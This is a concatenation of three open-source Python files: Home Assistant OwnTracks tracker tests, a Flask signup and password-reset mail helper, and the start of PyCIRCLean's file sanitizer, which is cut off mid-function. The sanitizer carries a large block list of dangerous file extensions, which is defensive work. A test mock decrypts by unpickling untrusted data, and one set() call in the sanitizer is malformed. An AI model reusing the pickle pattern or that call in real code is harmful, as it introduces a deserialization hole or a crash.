self.hass.states.get(DEVICE_TRACKER_STATE) self.assertEqual(state.attributes.get('latitude'), latitude) def assert_location_longitude(self, longitude): """Test the assertion of a location longitude.""" state = self.hass.states.get(DEVICE_TRACKER_STATE) self.assertEqual(state.attributes.get('longitude'), longitude) def assert_location_accuracy(self, accuracy): """Test the assertion of a location accuracy.""" state = self.hass.states.get(DEVICE_TRACKER_STATE) self.assertEqual(state.attributes.get('gps_accuracy'), accuracy) class TestDeviceTrackerOwnTracks(BaseMQTT): """Test the OwnTrack sensor.""" # pylint: disable=invalid-name def setup_method(self, _): """Setup things to be run when tests are started.""" self.hass = get_test_home_assistant() mock_mqtt_component(self.hass) with assert_setup_component(1, device_tracker.DOMAIN): assert setup_component(self.hass, device_tracker.DOMAIN, { device_tracker.DOMAIN: { CONF_PLATFORM: 'owntracks', CONF_MAX_GPS_ACCURACY: 200, CONF_WAYPOINT_IMPORT: True, CONF_WAYPOINT_WHITELIST: ['jon', 'greg'] }}) self.hass.states.set( 'zone.inner', 'zoning', { 'name': 'zone', 'latitude': 2.1, 'longitude': 1.1, 'radius': 10 }) self.hass.states.set( 'zone.inner_2', 'zoning', { 'name': 'zone', 'latitude': 2.1, 'longitude': 1.1, 'radius': 10 }) self.hass.states.set( 'zone.outer', 'zoning', { 'name': 'zone', 'latitude': 2.0, 'longitude': 1.0, 'radius': 100000 }) # Clear state between teste self.hass.states.set(DEVICE_TRACKER_STATE, None) owntracks.REGIONS_ENTERED = defaultdict(list) owntracks.MOBILE_BEACONS_ACTIVE = defaultdict(list) def teardown_method(self, _): """Stop everything that was started.""" self.hass.stop() try: os.remove(self.hass.config.path(device_tracker.YAML_DEVICES)) except FileNotFoundError: pass def assert_tracker_state(self, location): """Test the assertion of a tracker state.""" state = self.hass.states.get(REGION_TRACKER_STATE) self.assertEqual(state.state, location) def assert_tracker_latitude(self, latitude): """Test the assertion of a tracker latitude.""" state = self.hass.states.get(REGION_TRACKER_STATE) self.assertEqual(state.attributes.get('latitude'), latitude) def assert_tracker_accuracy(self, accuracy): """Test the assertion of a tracker accuracy.""" state = self.hass.states.get(REGION_TRACKER_STATE) self.assertEqual(state.attributes.get('gps_accuracy'), accuracy) def test_location_invalid_devid(self): # pylint: disable=invalid-name """Test the update of a location.""" self.send_message('owntracks/paulus/nexus-5x', LOCATION_MESSAGE) state = self.hass.states.get('device_tracker.paulus_nexus5x') assert state.state == 'outer' def test_location_update(self): """Test the update of a location.""" self.send_message(LOCATION_TOPIC, LOCATION_MESSAGE) self.assert_location_latitude(2.0) self.assert_location_accuracy(60.0) self.assert_location_state('outer') def test_location_inaccurate_gps(self): """Test the location for inaccurate GPS information.""" self.send_message(LOCATION_TOPIC, LOCATION_MESSAGE) self.send_message(LOCATION_TOPIC, LOCATION_MESSAGE_INACCURATE) self.assert_location_latitude(2.0) self.assert_location_longitude(1.0) def test_location_zero_accuracy_gps(self): """Ignore the location for zero accuracy GPS information.""" self.send_message(LOCATION_TOPIC, LOCATION_MESSAGE) self.send_message(LOCATION_TOPIC, LOCATION_MESSAGE_ZERO_ACCURACY) self.assert_location_latitude(2.0) self.assert_location_longitude(1.0) def test_event_entry_exit(self): """Test the entry event.""" self.send_message(EVENT_TOPIC, REGION_ENTER_MESSAGE) # Enter uses the zone's gps co-ords self.assert_location_latitude(2.1) self.assert_location_accuracy(10.0) self.assert_location_state('inner') self.send_message(LOCATION_TOPIC, LOCATION_MESSAGE) # Updates ignored when in a zone self.assert_location_latitude(2.1) self.assert_location_accuracy(10.0) self.assert_location_state('inner') self.send_message(EVENT_TOPIC, REGION_LEAVE_MESSAGE) # Exit switches back to GPS self.assert_location_latitude(2.0) self.assert_location_accuracy(60.0) self.assert_location_state('outer') # Left clean zone state self.assertFalse(owntracks.REGIONS_ENTERED[USER]) def test_event_with_spaces(self): """Test the entry event.""" message = REGION_ENTER_MESSAGE.copy() message['desc'] = "inner 2" self.send_message(EVENT_TOPIC, message) self.assert_location_state('inner_2') message = REGION_LEAVE_MESSAGE.copy() message['desc'] = "inner 2" self.send_message(EVENT_TOPIC, message) # Left clean zone state self.assertFalse(owntracks.REGIONS_ENTERED[USER]) def test_event_entry_exit_inaccurate(self): """Test the event for inaccurate exit.""" self.send_message(EVENT_TOPIC, REGION_ENTER_MESSAGE) # Enter uses the zone's gps co-ords self.assert_location_latitude(2.1) self.assert_location_accuracy(10.0) self.assert_location_state('inner') self.send_message(EVENT_TOPIC, REGION_LEAVE_INACCURATE_MESSAGE) # Exit doesn't use inaccurate gps self.assert_location_latitude(2.1) self.assert_location_accuracy(10.0) self.assert_location_state('inner') # But does exit region correctly self.assertFalse(owntracks.REGIONS_ENTERED[USER]) def test_event_entry_exit_zero_accuracy(self): """Test entry/exit events with accuracy zero.""" self.send_message(EVENT_TOPIC, REGION_ENTER_ZERO_MESSAGE) # Enter uses the zone's gps co-ords self.assert_location_latitude(2.1) self.assert_location_accuracy(10.0) self.assert_location_state('inner') self.send_message(EVENT_TOPIC, REGION_LEAVE_ZERO_MESSAGE) # Exit doesn't use zero gps self.assert_location_latitude(2.1) self.assert_location_accuracy(10.0) self.assert_location_state('inner') # But does exit region correctly self.assertFalse(owntracks.REGIONS_ENTERED[USER]) def test_event_exit_outside_zone_sets_away(self): """Test the event for exit zone.""" self.send_message(EVENT_TOPIC, REGION_ENTER_MESSAGE) self.assert_location_state('inner') # Exit message far away GPS location message = REGION_LEAVE_MESSAGE.copy() message['lon'] = 90.1 message['lat'] = 90.1 self.send_message(EVENT_TOPIC, message) # Exit forces zone change to away self.assert_location_state(STATE_NOT_HOME) def test_event_entry_exit_right_order(self): """Test the event for ordering.""" # Enter inner zone self.send_message(EVENT_TOPIC, REGION_ENTER_MESSAGE) self.assert_location_state('inner') self.assert_location_latitude(2.1) self.assert_location_accuracy(10.0) # Enter inner2 zone message = REGION_ENTER_MESSAGE.copy() message['desc'] = "inner_2" self.send_message(EVENT_TOPIC, message) self.assert_location_state('inner_2') self.assert_location_latitude(2.1) self.assert_location_accuracy(10.0) # Exit inner_2 - should be in 'inner' message = REGION_LEAVE_MESSAGE.copy() message['desc'] = "inner_2" self.send_message(EVENT_TOPIC, message) self.assert_location_state('inner') self.assert_location_latitude(2.1) self.assert_location_accuracy(10.0) # Exit inner - should be in 'outer' self.send_message(EVENT_TOPIC, REGION_LEAVE_MESSAGE) self.assert_location_state('outer') self.assert_location_latitude(2.0) self.assert_location_accuracy(60.0) def test_event_entry_exit_wrong_order(self): """Test the event for wrong order.""" # Enter inner zone self.send_message(EVENT_TOPIC, REGION_ENTER_MESSAGE) self.assert_location_state('inner') # Enter inner2 zone message = REGION_ENTER_MESSAGE.copy() message['desc'] = "inner_2" self.send_message(EVENT_TOPIC, message) self.assert_location_state('inner_2') # Exit inner - should still be in 'inner_2' self.send_message(EVENT_TOPIC, REGION_LEAVE_MESSAGE) self.assert_location_state('inner_2') # Exit inner_2 - should be in 'outer' message = REGION_LEAVE_MESSAGE.copy() message['desc'] = "inner_2" self.send_message(EVENT_TOPIC, message) self.assert_location_state('outer') def test_event_entry_unknown_zone(self): """Test the event for unknown zone.""" # Just treat as location update message = REGION_ENTER_MESSAGE.copy() message['desc'] = "unknown" self.send_message(EVENT_TOPIC, message) self.assert_location_latitude(2.0) self.assert_location_state('outer') def test_event_exit_unknown_zone(self): """Test the event for unknown zone.""" # Just treat as location update message = REGION_LEAVE_MESSAGE.copy() message['desc'] = "unknown" self.send_message(EVENT_TOPIC, message) self.assert_location_latitude(2.0) self.assert_location_state('outer') def test_event_entry_zone_loading_dash(self): """Test the event for zone landing.""" # Make sure the leading - is ignored # Ownracks uses this to switch on hold message = REGION_ENTER_MESSAGE.copy() message['desc'] = "-inner" self.send_message(EVENT_TOPIC, REGION_ENTER_MESSAGE) self.assert_location_state('inner') def test_mobile_enter_move_beacon(self): """Test the movement of a beacon.""" # Enter mobile beacon, should set location message = REGION_ENTER_MESSAGE.copy() message['desc'] = IBEACON_DEVICE self.send_message(EVENT_TOPIC, message) self.assert_tracker_latitude(2.0) self.assert_tracker_state('outer') # Move should move beacon message = LOCATION_MESSAGE.copy() message['lat'] = "3.0" self.send_message(LOCATION_TOPIC, message) self.assert_tracker_latitude(3.0) self.assert_tracker_state(STATE_NOT_HOME) def test_mobile_enter_exit_region_beacon(self): """Test the enter and the exit of a region beacon.""" # Start tracking beacon message = REGION_ENTER_MESSAGE.copy() message['desc'] = IBEACON_DEVICE self.send_message(EVENT_TOPIC, message) self.assert_tracker_latitude(2.0) self.assert_tracker_state('outer') # Enter location should move beacon message = REGION_ENTER_MESSAGE.copy() message['desc'] = "inner_2" self.send_message(EVENT_TOPIC, message) self.assert_tracker_latitude(2.1) self.assert_tracker_state('inner_2') # Exit location should switch to gps message = REGION_LEAVE_MESSAGE.copy() message['desc'] = "inner_2" self.send_message(EVENT_TOPIC, message) self.assert_tracker_latitude(2.0) def test_mobile_exit_move_beacon(self): """Test the exit move of a beacon.""" # Start tracking beacon message = REGION_ENTER_MESSAGE.copy() message['desc'] = IBEACON_DEVICE self.send_message(EVENT_TOPIC, message) self.assert_tracker_latitude(2.0) self.assert_tracker_state('outer') # Exit mobile beacon, should set location message = REGION_LEAVE_MESSAGE.copy() message['desc'] = IBEACON_DEVICE message['lat'] = "3.0" self.send_message(EVENT_TOPIC, message) self.assert_tracker_latitude(3.0) # Move after exit should do nothing message = LOCATION_MESSAGE.copy() message['lat'] = "4.0" self.send_message(LOCATION_TOPIC, LOCATION_MESSAGE) self.assert_tracker_latitude(3.0) def test_mobile_multiple_async_enter_exit(self): """Test the multiple entering.""" # Test race condition enter_message = REGION_ENTER_MESSAGE.copy() enter_message['desc'] = IBEACON_DEVICE exit_message = REGION_LEAVE_MESSAGE.copy() exit_message['desc'] = IBEACON_DEVICE for _ in range(0, 20): fire_mqtt_message( self.hass, EVENT_TOPIC, json.dumps(enter_message)) fire_mqtt_message( self.hass, EVENT_TOPIC, json.dumps(exit_message)) fire_mqtt_message( self.hass, EVENT_TOPIC, json.dumps(enter_message)) self.hass.block_till_done() self.send_message(EVENT_TOPIC, exit_message) self.assertEqual(owntracks.MOBILE_BEACONS_ACTIVE['greg_phone'], []) def test_mobile_multiple_enter_exit(self): """Test the multiple entering.""" # Should only happen if the iphone dies enter_message = REGION_ENTER_MESSAGE.copy() enter_message['desc'] = IBEACON_DEVICE exit_message = REGION_LEAVE_MESSAGE.copy() exit_message['desc'] = IBEACON_DEVICE self.send_message(EVENT_TOPIC, enter_message) self.send_message(EVENT_TOPIC, enter_message) self.send_message(EVENT_TOPIC, exit_message) self.assertEqual(owntracks.MOBILE_BEACONS_ACTIVE['greg_phone'], []) def test_waypoint_import_simple(self): """Test a simple import of list of waypoints.""" waypoints_message = WAYPOINTS_EXPORTED_MESSAGE.copy() self.send_message(WAYPOINT_TOPIC, waypoints_message) # Check if it made it into states wayp = self.hass.states.get(WAYPOINT_ENTITY_NAMES[0]) self.assertTrue(wayp is not None) wayp = self.hass.states.get(WAYPOINT_ENTITY_NAMES[1]) self.assertTrue(wayp is not None) def test_waypoint_import_blacklist(self): """Test import of list of waypoints for blacklisted user.""" waypoints_message = WAYPOINTS_EXPORTED_MESSAGE.copy() self.send_message(WAYPOINT_TOPIC_BLOCKED, waypoints_message) # Check if it made it into states wayp = self.hass.states.get(WAYPOINT_ENTITY_NAMES[2]) self.assertTrue(wayp is None) wayp = self.hass.states.get(WAYPOINT_ENTITY_NAMES[3]) self.assertTrue(wayp is None) def test_waypoint_import_no_whitelist(self): """Test import of list of waypoints with no whitelist set.""" def mock_see(**kwargs): """Fake see method for owntracks.""" return test_config = { CONF_PLATFORM: 'owntracks', CONF_MAX_GPS_ACCURACY: 200, CONF_WAYPOINT_IMPORT: True } owntracks.setup_scanner(self.hass, test_config, mock_see) waypoints_message = WAYPOINTS_EXPORTED_MESSAGE.copy() self.send_message(WAYPOINT_TOPIC_BLOCKED, waypoints_message) # Check if it made it into states wayp = self.hass.states.get(WAYPOINT_ENTITY_NAMES[2]) self.assertTrue(wayp is not None) wayp = self.hass.states.get(WAYPOINT_ENTITY_NAMES[3]) self.assertTrue(wayp is not None) def test_waypoint_import_bad_json(self): """Test importing a bad JSON payload.""" waypoints_message = WAYPOINTS_EXPORTED_MESSAGE.copy() self.send_message(WAYPOINT_TOPIC, waypoints_message, True) # Check if it made it into states wayp = self.hass.states.get(WAYPOINT_ENTITY_NAMES[2]) self.assertTrue(wayp is None) wayp = self.hass.states.get(WAYPOINT_ENTITY_NAMES[3]) self.assertTrue(wayp is None) def test_waypoint_import_existing(self): """Test importing a zone that exists.""" waypoints_message = WAYPOINTS_EXPORTED_MESSAGE.copy() self.send_message(WAYPOINT_TOPIC, waypoints_message) # Get the first waypoint exported wayp = self.hass.states.get(WAYPOINT_ENTITY_NAMES[0]) # Send an update waypoints_message = WAYPOINTS_UPDATED_MESSAGE.copy() self.send_message(WAYPOINT_TOPIC, waypoints_message) new_wayp = self.hass.states.get(WAYPOINT_ENTITY_NAMES[0]) self.assertTrue(wayp == new_wayp) class TestDeviceTrackerOwnTrackConfigs(BaseMQTT): """Test the OwnTrack sensor.""" # pylint: disable=invalid-name def setup_method(self, method): """Setup things to be run when tests are started.""" self.hass = get_test_home_assistant() mock_mqtt_component(self.hass) def mock_cipher(): # pylint: disable=no-method-argument """Return a dummy pickle-based cipher.""" def mock_decrypt(ciphertext, key): """Decrypt/unpickle.""" import pickle (mkey, plaintext) = pickle.loads(ciphertext) if key != mkey: raise ValueError() return plaintext return (len(SECRET_KEY), mock_decrypt) @patch('homeassistant.components.device_tracker.owntracks.get_cipher', mock_cipher) def test_encrypted_payload(self): """Test encrypted payload.""" with assert_setup_component(1, device_tracker.DOMAIN): assert setup_component(self.hass, device_tracker.DOMAIN, { device_tracker.DOMAIN: { CONF_PLATFORM: 'owntracks', CONF_SECRET: SECRET_KEY, }}) self.send_message(LOCATION_TOPIC, MOCK_ENCRYPTED_LOCATION_MESSAGE) self.assert_location_latitude(2.0) @patch('homeassistant.components.device_tracker.owntracks.get_cipher', mock_cipher) def test_encrypted_payload_topic_key(self): """Test encrypted payload with a topic key.""" with assert_setup_component(1, device_tracker.DOMAIN): assert setup_component(self.hass, device_tracker.DOMAIN, { device_tracker.DOMAIN: { CONF_PLATFORM: 'owntracks', CONF_SECRET: { LOCATION_TOPIC: SECRET_KEY, }}}) self.send_message(LOCATION_TOPIC, MOCK_ENCRYPTED_LOCATION_MESSAGE) self.assert_location_latitude(2.0) @patch('homeassistant.components.device_tracker.owntracks.get_cipher', mock_cipher) def test_encrypted_payload_no_key(self): """Test encrypted payload with no key, .""" with assert_setup_component(1, device_tracker.DOMAIN): assert setup_component(self.hass, device_tracker.DOMAIN, { device_tracker.DOMAIN: { CONF_PLATFORM: 'owntracks', # key missing }}) self.send_message(LOCATION_TOPIC, MOCK_ENCRYPTED_LOCATION_MESSAGE) self.assert_location_latitude(None) @patch('homeassistant.components.device_tracker.owntracks.get_cipher', mock_cipher) def test_encrypted_payload_wrong_key(self): """Test encrypted payload with wrong key.""" with assert_setup_component(1, device_tracker.DOMAIN): assert setup_component(self.hass, device_tracker.DOMAIN, { device_tracker.DOMAIN: { CONF_PLATFORM: 'owntracks', CONF_SECRET: 'wrong key', }}) self.send_message(LOCATION_TOPIC, MOCK_ENCRYPTED_LOCATION_MESSAGE) self.assert_location_latitude(None) @patch('homeassistant.components.device_tracker.owntracks.get_cipher', mock_cipher) def test_encrypted_payload_wrong_topic_key(self): """Test encrypted payload with wrong topic key.""" with assert_setup_component(1, device_tracker.DOMAIN): assert setup_component(self.hass, device_tracker.DOMAIN, { device_tracker.DOMAIN: { CONF_PLATFORM: 'owntracks', CONF_SECRET: { LOCATION_TOPIC: 'wrong key' }}}) self.send_message(LOCATION_TOPIC, MOCK_ENCRYPTED_LOCATION_MESSAGE) self.assert_location_latitude(None) @patch('homeassistant.components.device_tracker.owntracks.get_cipher', mock_cipher) def test_encrypted_payload_no_topic_key(self): """Test encrypted payload with no topic key.""" with assert_setup_component(1, device_tracker.DOMAIN): assert setup_component(self.hass, device_tracker.DOMAIN, { device_tracker.DOMAIN: { CONF_PLATFORM: 'owntracks', CONF_SECRET: { 'owntracks/{}/{}'.format(USER, 'otherdevice'): 'foobar' }}}) self.send_message(LOCATION_TOPIC, MOCK_ENCRYPTED_LOCATION_MESSAGE) self.assert_location_latitude(None) try: import libnacl except (ImportError, OSError): libnacl = None @unittest.skipUnless(libnacl, "libnacl/libsodium is not installed") def test_encrypted_payload_libsodium(self): """Test sending encrypted message payload.""" with assert_setup_component(1, device_tracker.DOMAIN): assert setup_component(self.hass, device_tracker.DOMAIN, { device_tracker.DOMAIN: { CONF_PLATFORM: 'owntracks', CONF_SECRET: SECRET_KEY, }}) self.send_message(LOCATION_TOPIC, ENCRYPTED_LOCATION_MESSAGE) self.assert_location_latitude(2.0)
mit
beni55/june
june/utils/mail.py
11
1651
# coding: utf-8 from flask import current_app, url_for, render_template from flask.ext.babel import gettext as _ from flask_mail import Message from .user import create_auth_token def send_mail(app, msg): mail = app.extensions['mail'] if not mail.default_sender: return mail.send(msg) def signup_mail(user, path=None): config = current_app.config msg = Message( _("Signup for %(site)s", site=config['SITE_TITLE']), recipients=[user.email], ) reply_to = config.get('MAIL_REPLY_TO', None) if reply_to: msg.reply_to = reply_to host = config.get('SITE_URL', '') dct = { 'host': host.rstrip('/'), 'token': create_auth_token(user) } if path: dct['path'] = path else: dct['path'] = url_for('account.signup') link = '%(host)s%(path)s?token=%(token)s' % dct html = render_template('email/signup.html', user=user, link=link) msg.html = html send_mail(current_app, msg) return msg def find_mail(user): config = current_app.config msg = Message( _("Find password for %(site)s", site=config['SITE_TITLE']), recipients=[user.email], ) reply_to = config.get('MAIL_REPLY_TO', None) if reply_to: msg.reply_to = reply_to host = config.get('SITE_URL', '') dct = { 'host': host.rstrip('/'), 'path': url_for('account.reset'), 'token': create_auth_token(user) } link = '%(host)s%(path)s?token=%(token)s' % dct html = render_template('email/find.html', user=user, link=link) msg.html = html send_mail(current_app, msg) return msg
bsd-3-clause
Rafiot/PyCIRCLean
filecheck/filecheck.py
1
35947
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import mimetypes import shlex import subprocess import zipfile import argparse import random import shutil import time import hashlib import oletools.oleid import olefile import officedissector import warnings import exifread from PIL import Image from pdfid import PDFiD, cPDFiD from kittengroomer import FileBase, KittenGroomerBase, Logging class Config: """Configuration information for filecheck.py.""" # MIMES # Application subtypes (mimetype: 'application/<subtype>') mimes_ooxml = ('vnd.openxmlformats-officedocument.',) mimes_office = ('msword', 'vnd.ms-',) mimes_libreoffice = ('vnd.oasis.opendocument',) mimes_rtf = ('rtf', 'richtext',) mimes_pdf = ('pdf', 'postscript',) mimes_xml = ('xml',) mimes_ms = ('dosexec',) mimes_compressed = ('zip', 'rar', 'x-rar', 'bzip2', 'lzip', 'lzma', 'lzop', 'xz', 'compress', 'gzip', 'tar',) mimes_data = ('octet-stream',) mimes_audio = ('ogg',) # Image subtypes mimes_exif = ('image/jpeg', 'image/tiff',) mimes_png = ('image/png',) # Mimetypes with metadata mimes_metadata = ('image/jpeg', 'image/tiff', 'image/png',) # Mimetype aliases aliases = { # Win executables 'application/x-msdos-program': 'application/x-dosexec', 'application/x-dosexec': 'application/x-msdos-program', # Other apps with confusing mimetypes 'application/rtf': 'text/rtf', 'application/rar': 'application/x-rar', 'application/ogg': 'audio/ogg', 'audio/ogg': 'application/ogg' } # EXTS # Commonly used malicious extensions # Sources: http://www.howtogeek.com/137270/50-file-extensions-that-are-potentially-dangerous-on-windows/ # https://github.com/wiregit/wirecode/blob/master/components/core-settings/src/main/java/org/limewire/core/settings/FilterSettings.java malicious_exts = ( # Applications ".exe", ".pif", ".application", ".gadget", ".msi", ".msp", ".com", ".scr", ".hta", ".cpl", ".msc", ".jar", # Scripts ".bat", ".cmd", ".vb", ".vbs", ".vbe", ".js", ".jse", ".ws", ".wsf", ".wsc", ".wsh", ".ps1", ".ps1xml", ".ps2", ".ps2xml", ".psc1", ".psc2", ".msh", ".msh1", ".msh2", ".mshxml", ".msh1xml", ".msh2xml", # Shortcuts ".scf", ".lnk", ".inf", # Other ".reg", ".dll", # Office macro (OOXML with macro enabled) ".docm", ".dotm", ".xlsm", ".xltm", ".xlam", ".pptm", ".potm", ".ppam", ".ppsm", ".sldm", # banned from wirecode ".asf", ".asx", ".au", ".htm", ".html", ".mht", ".vbs", ".wax", ".wm", ".wma", ".wmd", ".wmv", ".wmx", ".wmz", ".wvx", # Google chrome malicious extensions ".ad", ".ade", ".adp", ".ah", ".apk", ".app", ".application", ".asp", ".asx", ".bas", ".bash", ".bat", ".cfg", ".chi", ".chm", ".class", ".cmd", ".com", ".command", ".crt", ".crx", ".csh", ".deb", ".dex", ".dll", ".drv", ".exe", ".fxp", ".grp", ".hlp", ".hta", ".htm", ".html", ".htt", ".inf", ".ini", ".ins", ".isp", ".jar", ".jnlp", ".user.js", ".js", ".jse", ".ksh", ".lnk", ".local", ".mad", ".maf", ".mag", ".mam", ".manifest", ".maq", ".mar", ".mas", ".mat", ".mau", ".mav", ".maw", ".mda", ".mdb", ".mde", ".mdt", ".mdw", ".mdz", ".mht", ".mhtml", ".mmc", ".mof", ".msc", ".msh", ".mshxml", ".msi", ".msp", ".mst", ".ocx", ".ops", ".pcd", ".pif", ".pkg", ".pl", ".plg", ".prf", ".prg", ".pst", ".py", ".pyc", ".pyw", ".rb", ".reg", ".rpm", ".scf", ".scr", ".sct", ".sh", ".shar", ".shb", ".shs", ".shtm", ".shtml", ".spl", ".svg", ".swf", ".sys", ".tcsh", ".url", ".vb", ".vbe", ".vbs", ".vsd", ".vsmacros", ".vss", ".vst", ".vsw", ".ws", ".wsc", ".wsf", ".wsh", ".xbap", ".xht", ".xhtm", ".xhtml", ".xml", ".xsl", ".xslt", ".website", ".msh1", ".msh2", ".msh1xml", ".msh2xml", ".ps1", ".ps1xml", ".ps2", ".ps2xml", ".psc1", ".psc2", ".xnk", ".appref-ms", ".gadget", ".efi", ".fon", ".partial", ".svg", ".xml", ".xrm_ms", ".xsl", ".action", ".bin", ".inx", ".ipa", ".isu", ".job", ".out", ".pad", ".paf", ".rgs", ".u3p", ".vbscript", ".workflow", ".001", ".ace", ".arc", ".arj", ".b64", ".balz", ".bhx", ".cab", ".cpio", ".fat", ".hfs", ".hqx", ".iso", ".lha", ".lpaq1", ".lpaq5", ".lpaq8", ".lzh", ".mim", ".ntfs", ".paq8f", ".paq8jd", ".paq8l", ".paq8o", ".pea", ".quad", ".r00", ".r01", ".r02", ".r03", ".r04", ".r05", ".r06", ".r07", ".r08", ".r09", ".r10", ".r11", ".r12", ".r13", ".r14", ".r15", ".r16", ".r17", ".r18", ".r19", ".r20", ".r21", ".r22", ".r23", ".r24", ".r25", ".r26", ".r27", ".r28", ".r29", ".squashfs", ".swm", ".tpz", ".txz", ".tz", ".udf", ".uu", ".uue", ".vhd", ".vmdk", ".wim", ".wrc", ".xar", ".xxe", ".z", ".zipx", ".zpaq", ".cdr", ".dart", ".dc42", ".diskcopy42", ".dmg", ".dmgpart", ".dvdr", ".img", ".imgpart", ".ndif", ".smi", ".sparsebundle", ".sparseimage", ".toast", ".udif", ) # Sometimes, mimetypes.guess_type gives unexpected results, such as for .tar.gz files: # In [12]: mimetypes.guess_type('toot.tar.gz', strict=False) # Out[12]: ('application/x-tar', 'gzip') # It works as expected if you do mimetypes.guess_type('application/gzip', strict=False) override_ext = {'.gz': 'application/gzip'} SEVENZ_PATH = '/usr/bin/7z' class File(FileBase): """ Main file object Created for each file that is processed by KittenGroomer. Contains all filetype-specific processing methods. """ def __init__(self, src_path, dst_path): super(File, self).__init__(src_path, dst_path) self.is_archive = False self.tempdir_path = self.dst_path + '_temp' subtypes_apps = ( (Config.mimes_office, self._winoffice), (Config.mimes_ooxml, self._ooxml), (Config.mimes_rtf, self.text), (Config.mimes_libreoffice, self._libreoffice), (Config.mimes_pdf, self._pdf), (Config.mimes_xml, self.text), (Config.mimes_ms, self._executables), (Config.mimes_compressed, self._archive), (Config.mimes_data, self._binary_app), (Config.mimes_audio, self.audio) ) self.app_subtype_methods = self._make_method_dict(subtypes_apps) types_metadata = ( (Config.mimes_exif, self._metadata_exif), (Config.mimes_png, self._metadata_png), ) self.metadata_mimetype_methods = self._make_method_dict(types_metadata) self.mime_processing_options = { 'text': self.text, 'audio': self.audio, 'image': self.image, 'video': self.video, 'application': self.application, 'example': self.example, 'message': self.message, 'model': self.model, 'multipart': self.multipart, 'inode': self.inode, } def __repr__(self): return "<filecheck.File object: {{{}}}>".format(self.filename) def _check_extension(self): """ Guess the file's mimetype based on its extension. If the file's mimetype (as determined by libmagic) is contained in the `mimetype` module's list of valid mimetypes and the expected mimetype based on its extension differs from the mimetype determined by libmagic, then mark the file as dangerous. """ if not self.has_extension: self.make_dangerous('File has no extension') else: if self.extension in Config.override_ext: expected_mimetype = Config.override_ext[self.extension] else: expected_mimetype, encoding = mimetypes.guess_type(self.src_path, strict=False) if expected_mimetype in Config.aliases: expected_mimetype = Config.aliases[expected_mimetype] is_known_extension = self.extension in mimetypes.types_map.keys() if is_known_extension and expected_mimetype != self.mimetype: self.make_dangerous('Mimetype does not match expected mimetype ({}) for this extension'.format(expected_mimetype)) def _check_mimetype(self): """ Compare mimetype (as determined by libmagic) to extension. Determine whether the extension that are normally associated with the mimetype include the file's actual extension. """ if not self.has_mimetype: self.make_dangerous('File has no mimetype') else: if self.mimetype in Config.aliases: mimetype = Config.aliases[self.mimetype] else: mimetype = self.mimetype expected_extensions = mimetypes.guess_all_extensions(mimetype, strict=False) if expected_extensions: if self.has_extension and self.extension not in expected_extensions: self.make_dangerous('Extension does not match expected extensions ({}) for this mimetype'.format(expected_extensions)) def _check_filename(self): """ Verify the filename If the filename contains any dangerous or specific characters, handle them appropriately. """ if self.filename.startswith('.'): macos_hidden_files = set( '.Trashes', '._.Trashes', '.DS_Store', '.fseventsd', '.Spotlight-V100' ) if self.filename in macos_hidden_files: self.add_description('MacOS metadata file, added by MacOS to USB drives and some directories') self.should_copy = False right_to_left_override = u"\u202E" if right_to_left_override in self.filename: self.make_dangerous('Filename contains dangerous character') new_filename = self.filename.replace(right_to_left_override, '') self.set_property('filename', new_filename) def _check_malicious_exts(self): """Check that the file's extension isn't contained in a blacklist""" if self.extension in Config.malicious_exts: self.make_dangerous('Extension identifies file as potentially dangerous') def _compute_random_hashes(self): """Compute a random amount of hashes at random positions in the file to ensure integrity after the copy (mitigate TOCTOU attacks)""" if not os.path.exists(self.src_path) or os.path.isdir(self.src_path) or self.maintype == 'image': # Images are converted, no need to compute the hashes return self.random_hashes = [] if self.size < 64: # hash the whole file self.block_length = self.size else: if self.size < 128: # Get a random length between 16 and the size of the file self.block_length = random.randint(16, self.size) else: # Get a random length between 16 and 128 self.block_length = random.randint(16, 128) for i in range(random.randint(3, 6)): # Do a random amound of read on the file (between 5 and 10) start_pos = random.randint(0, self.size - self.block_length) # Pick a random length for the hash to compute with open(self.src_path, 'rb') as f: f.seek(start_pos) hashed = hashlib.sha256(f.read(self.block_length)).hexdigest() self.random_hashes.append((start_pos, hashed)) time.sleep(random.uniform(0.1, 0.5)) # Add a random sleep length def _validate_random_hashes(self): """Validate hashes computed by _compute_random_hashes""" if not os.path.exists(self.src_path) or os.path.isdir(self.src_path) or self.maintype == 'image': # Images are converted, we don't have to fear TOCTOU return True for start_pos, hashed_src in self.random_hashes: with open(self.dst_path, 'rb') as f: f.seek(start_pos) hashed = hashlib.sha256(f.read(self.block_length)).hexdigest() if hashed != hashed_src: # Something fucked up happened return False return True def check(self): """ Main file processing method. First, checks for basic properties that might indicate a dangerous file. If the file isn't dangerous, then delegates to various helper methods for filetype-specific checks based on the file's mimetype. """ # Any of these methods can call make_dangerous(): self._check_malicious_exts() self._check_mimetype() self._check_extension() self._check_filename() # can mutate self.filename self._compute_random_hashes() if not self.is_dangerous: self.mime_processing_options.get(self.maintype, self.unknown)() # ##### Helper functions ##### def _make_method_dict(self, list_of_tuples): """Returns a dictionary with mimetype: method pairs.""" dict_to_return = {} for list_of_subtypes, method in list_of_tuples: for subtype in list_of_subtypes: dict_to_return[subtype] = method return dict_to_return @property def has_metadata(self): """True if filetype typically contains metadata, else False.""" if self.mimetype in Config.mimes_metadata: return True return False def make_tempdir(self): """Make a temporary directory at self.tempdir_path.""" if not os.path.exists(self.tempdir_path): os.makedirs(self.tempdir_path) return self.tempdir_path ####################### # ##### Discarded mimetypes, reason in the docstring ###### def inode(self): """Empty file or symlink.""" if self.is_symlink: symlink_path = self.get_property('symlink') self.add_description('File is a symlink to {}'.format(symlink_path)) else: self.add_description('File is an inode (empty file)') self.should_copy = False def unknown(self): """Main type should never be unknown.""" self.add_description('Unknown mimetype') self.should_copy = False def example(self): """Used in examples, should never be returned by libmagic.""" self.add_description('Example file') self.should_copy = False def multipart(self): """Used in web apps, should never be returned by libmagic""" self.add_description('Multipart file - usually found in web apps') self.should_copy = False # ##### Treated as malicious, no reason to have it on a USB key ###### def message(self): """Process a message file.""" self.make_dangerous('Message file - should not be found on USB key') def model(self): """Process a model file.""" self.make_dangerous('Model file - should not be found on USB key') # ##### Files that will be converted ###### def text(self): """Process an rtf, ooxml, or plaintext file.""" for mt in Config.mimes_rtf: if mt in self.subtype: self.add_description('Rich Text (rtf) file') self.force_ext('.txt') return for mt in Config.mimes_ooxml: if mt in self.subtype: self._ooxml() return self.add_description('Plain text file') self.force_ext('.txt') def application(self): """Process an application specific file according to its subtype.""" for subtype, method in self.app_subtype_methods.items(): if subtype in self.subtype: # checking for partial matches method() return self._unknown_app() # if none of the methods match def _executables(self): """Process an executable file.""" self.make_dangerous('Executable 